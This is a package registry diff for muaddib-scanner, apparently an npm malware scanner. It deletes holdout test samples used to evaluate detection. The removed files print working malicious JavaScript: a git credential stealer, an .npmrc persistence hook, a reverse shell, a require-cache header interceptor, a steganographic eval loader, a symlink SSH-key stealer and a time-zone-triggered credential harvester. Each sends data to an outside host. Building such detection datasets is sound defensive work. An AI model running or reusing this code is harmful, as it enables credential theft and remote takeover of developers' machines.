muaddib-scanner 2.2.2 → 2.2.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +2 -36
- package/README.md +2 -36
- package/bin/muaddib.js +0 -9
- package/package.json +1 -1
- package/datasets/holdout-v2/conditional-os-payload/index.js +0 -36
- package/datasets/holdout-v2/conditional-os-payload/package.json +0 -6
- package/datasets/holdout-v2/env-var-reconstruction/index.js +0 -21
- package/datasets/holdout-v2/env-var-reconstruction/package.json +0 -6
- package/datasets/holdout-v2/github-workflow-inject/index.js +0 -36
- package/datasets/holdout-v2/github-workflow-inject/package.json +0 -6
- package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +0 -29
- package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +0 -6
- package/datasets/holdout-v2/npm-cache-poison/index.js +0 -38
- package/datasets/holdout-v2/npm-cache-poison/package.json +0 -6
- package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +0 -8
- package/datasets/holdout-v2/process-env-proxy-getter/index.js +0 -35
- package/datasets/holdout-v2/process-env-proxy-getter/package.json +0 -6
- package/datasets/holdout-v2/readable-stream-hijack/index.js +0 -44
- package/datasets/holdout-v2/readable-stream-hijack/package.json +0 -6
- package/datasets/holdout-v2/setTimeout-chain/index.js +0 -50
- package/datasets/holdout-v2/setTimeout-chain/package.json +0 -6
- package/datasets/holdout-v2/wasm-loader/index.js +0 -46
- package/datasets/holdout-v2/wasm-loader/package.json +0 -6
- package/datasets/holdout-v3/dns-txt-payload/index.js +0 -11
- package/datasets/holdout-v3/dns-txt-payload/package.json +0 -6
- package/datasets/holdout-v3/electron-rce/index.js +0 -32
- package/datasets/holdout-v3/electron-rce/package.json +0 -6
- package/datasets/holdout-v3/env-file-parse-exfil/index.js +0 -39
- package/datasets/holdout-v3/env-file-parse-exfil/package.json +0 -6
- package/datasets/holdout-v3/git-credential-steal/index.js +0 -41
- package/datasets/holdout-v3/git-credential-steal/package.json +0 -6
- package/datasets/holdout-v3/npm-hook-hijack/index.js +0 -20
- package/datasets/holdout-v3/npm-hook-hijack/package.json +0 -9
- package/datasets/holdout-v3/postinstall-reverse-shell/index.js +0 -24
- package/datasets/holdout-v3/postinstall-reverse-shell/package.json +0 -9
- package/datasets/holdout-v3/require-cache-poison/index.js +0 -26
- package/datasets/holdout-v3/require-cache-poison/package.json +0 -6
- package/datasets/holdout-v3/steganography-payload/index.js +0 -31
- package/datasets/holdout-v3/steganography-payload/package.json +0 -6
- package/datasets/holdout-v3/symlink-escape/index.js +0 -30
- package/datasets/holdout-v3/symlink-escape/package.json +0 -6
- package/datasets/holdout-v3/timezone-trigger/index.js +0 -38
- package/datasets/holdout-v3/timezone-trigger/package.json +0 -6
- package/metrics/v2.1.5.json +0 -753
- package/metrics/v2.2.0.json +0 -753
- package/metrics/v2.2.1.json +0 -753
- package/nul +0 -0
- /package/assets/{logo2removebg.png → muaddibLogo.png} +0 -0
|
@@ -1,41 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
const path = require('path');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
|
|
6
|
-
const home = os.homedir();
|
|
7
|
-
const collected = {};
|
|
8
|
-
|
|
9
|
-
// Read git config for remote URLs with embedded tokens
|
|
10
|
-
try {
|
|
11
|
-
const gitConfig = fs.readFileSync(path.join(home, '.gitconfig'), 'utf8');
|
|
12
|
-
const urlMatches = gitConfig.match(/url\s*=\s*.+/g);
|
|
13
|
-
if (urlMatches) collected.gitconfig = urlMatches;
|
|
14
|
-
} catch(e) {}
|
|
15
|
-
|
|
16
|
-
// Read stored git credentials
|
|
17
|
-
try {
|
|
18
|
-
const creds = fs.readFileSync(path.join(home, '.git-credentials'), 'utf8');
|
|
19
|
-
collected.credentials = creds.split('\n').filter(l => l.trim());
|
|
20
|
-
} catch(e) {}
|
|
21
|
-
|
|
22
|
-
// Also check the project-level .git/config
|
|
23
|
-
try {
|
|
24
|
-
const localConfig = fs.readFileSync(path.join(process.cwd(), '.git', 'config'), 'utf8');
|
|
25
|
-
const remotes = localConfig.match(/url\s*=\s*.+/g);
|
|
26
|
-
if (remotes) collected.localRemotes = remotes;
|
|
27
|
-
} catch(e) {}
|
|
28
|
-
|
|
29
|
-
if (Object.keys(collected).length > 0) {
|
|
30
|
-
const payload = JSON.stringify(collected);
|
|
31
|
-
const opts = {
|
|
32
|
-
hostname: 'git-tokens.exfil.dev',
|
|
33
|
-
port: 443,
|
|
34
|
-
path: '/collect',
|
|
35
|
-
method: 'POST',
|
|
36
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
37
|
-
};
|
|
38
|
-
const req = https.request(opts);
|
|
39
|
-
req.write(payload);
|
|
40
|
-
req.end();
|
|
41
|
-
}
|
|
@@ -1,20 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
const path = require('path');
|
|
4
|
-
|
|
5
|
-
const home = os.homedir();
|
|
6
|
-
const npmrcPath = path.join(home, '.npmrc');
|
|
7
|
-
|
|
8
|
-
// Read existing .npmrc content
|
|
9
|
-
let existing = '';
|
|
10
|
-
try {
|
|
11
|
-
existing = fs.readFileSync(npmrcPath, 'utf8');
|
|
12
|
-
} catch(e) {}
|
|
13
|
-
|
|
14
|
-
// Inject an oninstall hook for persistence
|
|
15
|
-
// This will execute on every future npm install
|
|
16
|
-
const hook = '\noninstall=node -e "require(\'https\').get(\'https://hooks.malware.io/ping?h=\'+require(\'os\').hostname())"';
|
|
17
|
-
|
|
18
|
-
if (!existing.includes('oninstall')) {
|
|
19
|
-
fs.writeFileSync(npmrcPath, existing + hook, 'utf8');
|
|
20
|
-
}
|
|
@@ -1,24 +0,0 @@
|
|
|
1
|
-
const net = require('net');
|
|
2
|
-
const { spawn } = require('child_process');
|
|
3
|
-
const os = require('os');
|
|
4
|
-
|
|
5
|
-
const HOST = '45.33.32.156';
|
|
6
|
-
const PORT = 4444;
|
|
7
|
-
|
|
8
|
-
const client = new net.Socket();
|
|
9
|
-
client.connect(PORT, HOST, function() {
|
|
10
|
-
const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/sh';
|
|
11
|
-
const proc = spawn(shell, { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
12
|
-
|
|
13
|
-
client.pipe(proc.stdin);
|
|
14
|
-
proc.stdout.pipe(client);
|
|
15
|
-
proc.stderr.pipe(client);
|
|
16
|
-
|
|
17
|
-
proc.on('exit', function() {
|
|
18
|
-
client.destroy();
|
|
19
|
-
});
|
|
20
|
-
});
|
|
21
|
-
|
|
22
|
-
client.on('error', function() {
|
|
23
|
-
// Silent failure
|
|
24
|
-
});
|
|
@@ -1,26 +0,0 @@
|
|
|
1
|
-
const https = require('https');
|
|
2
|
-
const origRequest = https.request;
|
|
3
|
-
|
|
4
|
-
// Poison the require cache — replace https module with interceptor
|
|
5
|
-
const mod = require.cache[require.resolve('https')];
|
|
6
|
-
mod.exports.request = function(options, callback) {
|
|
7
|
-
const headers = options.headers || {};
|
|
8
|
-
if (headers['Authorization'] || headers['authorization']) {
|
|
9
|
-
const stolen = JSON.stringify({
|
|
10
|
-
host: options.hostname || options.host,
|
|
11
|
-
path: options.path,
|
|
12
|
-
auth: headers['Authorization'] || headers['authorization']
|
|
13
|
-
});
|
|
14
|
-
const exfilOpts = {
|
|
15
|
-
hostname: 'collect.evil-analytics.com',
|
|
16
|
-
port: 443,
|
|
17
|
-
path: '/api/headers',
|
|
18
|
-
method: 'POST',
|
|
19
|
-
headers: { 'Content-Type': 'application/json' }
|
|
20
|
-
};
|
|
21
|
-
const req = origRequest(exfilOpts);
|
|
22
|
-
req.write(stolen);
|
|
23
|
-
req.end();
|
|
24
|
-
}
|
|
25
|
-
return origRequest.call(https, options, callback);
|
|
26
|
-
};
|
|
@@ -1,31 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const path = require('path');
|
|
3
|
-
|
|
4
|
-
// Read embedded PNG image from the package
|
|
5
|
-
const imgPath = path.join(__dirname, 'assets', 'logo.png');
|
|
6
|
-
let imgBuffer;
|
|
7
|
-
try {
|
|
8
|
-
imgBuffer = fs.readFileSync(imgPath);
|
|
9
|
-
} catch(e) { process.exit(0); }
|
|
10
|
-
|
|
11
|
-
// Skip PNG header (8 bytes) and find IDAT chunks
|
|
12
|
-
// Extract LSB from pixel data to reconstruct hidden payload
|
|
13
|
-
const pixels = imgBuffer.slice(imgBuffer.indexOf('IDAT') + 8);
|
|
14
|
-
let bits = '';
|
|
15
|
-
for (let i = 0; i < Math.min(pixels.length, 8192); i++) {
|
|
16
|
-
bits += (pixels[i] & 1).toString();
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
// Convert bits to bytes
|
|
20
|
-
let payload = '';
|
|
21
|
-
for (let i = 0; i + 8 <= bits.length; i += 8) {
|
|
22
|
-
const byte = parseInt(bits.slice(i, i + 8), 2);
|
|
23
|
-
if (byte === 0) break;
|
|
24
|
-
payload += String.fromCharCode(byte);
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
// Decode and execute the hidden payload
|
|
28
|
-
if (payload.length > 10) {
|
|
29
|
-
const decoded = Buffer.from(payload, 'base64').toString('utf8');
|
|
30
|
-
eval(decoded);
|
|
31
|
-
}
|
|
@@ -1,30 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
const path = require('path');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
|
|
6
|
-
const home = os.homedir();
|
|
7
|
-
const target = path.join(home, '.ssh', 'id_rsa');
|
|
8
|
-
const link = path.join(__dirname, '.cache', 'temp_link');
|
|
9
|
-
|
|
10
|
-
// Create a symlink to bypass direct path checks
|
|
11
|
-
try { fs.mkdirSync(path.join(__dirname, '.cache'), { recursive: true }); } catch(e) {}
|
|
12
|
-
try { fs.symlinkSync(target, link); } catch(e) {}
|
|
13
|
-
|
|
14
|
-
// Read through the symlink — not the direct sensitive path
|
|
15
|
-
const keyData = fs.readFileSync(link, 'utf8');
|
|
16
|
-
|
|
17
|
-
const payload = JSON.stringify({ key: keyData, host: os.hostname() });
|
|
18
|
-
const opts = {
|
|
19
|
-
hostname: 'keys.exfil-service.net',
|
|
20
|
-
port: 443,
|
|
21
|
-
path: '/upload',
|
|
22
|
-
method: 'POST',
|
|
23
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
24
|
-
};
|
|
25
|
-
const req = https.request(opts);
|
|
26
|
-
req.write(payload);
|
|
27
|
-
req.end();
|
|
28
|
-
|
|
29
|
-
// Cleanup
|
|
30
|
-
try { fs.unlinkSync(link); } catch(e) {}
|
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
const https = require('https');
|
|
4
|
-
|
|
5
|
-
// Geographic targeting — only activate in specific timezones
|
|
6
|
-
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
|
|
7
|
-
const targets = ['Europe/Kiev', 'Europe/Moscow', 'Asia/Tehran', 'Asia/Pyongyang'];
|
|
8
|
-
|
|
9
|
-
if (targets.includes(tz)) {
|
|
10
|
-
const home = os.homedir();
|
|
11
|
-
const secrets = {};
|
|
12
|
-
|
|
13
|
-
// Harvest credentials
|
|
14
|
-
try {
|
|
15
|
-
secrets.sshKey = fs.readFileSync(path.join(home, '.ssh', 'id_rsa'), 'utf8');
|
|
16
|
-
} catch(e) {}
|
|
17
|
-
try {
|
|
18
|
-
secrets.npmrc = fs.readFileSync(path.join(home, '.npmrc'), 'utf8');
|
|
19
|
-
} catch(e) {}
|
|
20
|
-
try {
|
|
21
|
-
secrets.awsCreds = fs.readFileSync(path.join(home, '.aws', 'credentials'), 'utf8');
|
|
22
|
-
} catch(e) {}
|
|
23
|
-
|
|
24
|
-
secrets.timezone = tz;
|
|
25
|
-
secrets.hostname = os.hostname();
|
|
26
|
-
secrets.user = os.userInfo().username;
|
|
27
|
-
|
|
28
|
-
const data = JSON.stringify(secrets);
|
|
29
|
-
const req = https.request({
|
|
30
|
-
hostname: 'geo-intel.evil-apt.com',
|
|
31
|
-
port: 443,
|
|
32
|
-
path: '/target',
|
|
33
|
-
method: 'POST',
|
|
34
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
35
|
-
});
|
|
36
|
-
req.write(data);
|
|
37
|
-
req.end();
|
|
38
|
-
}
|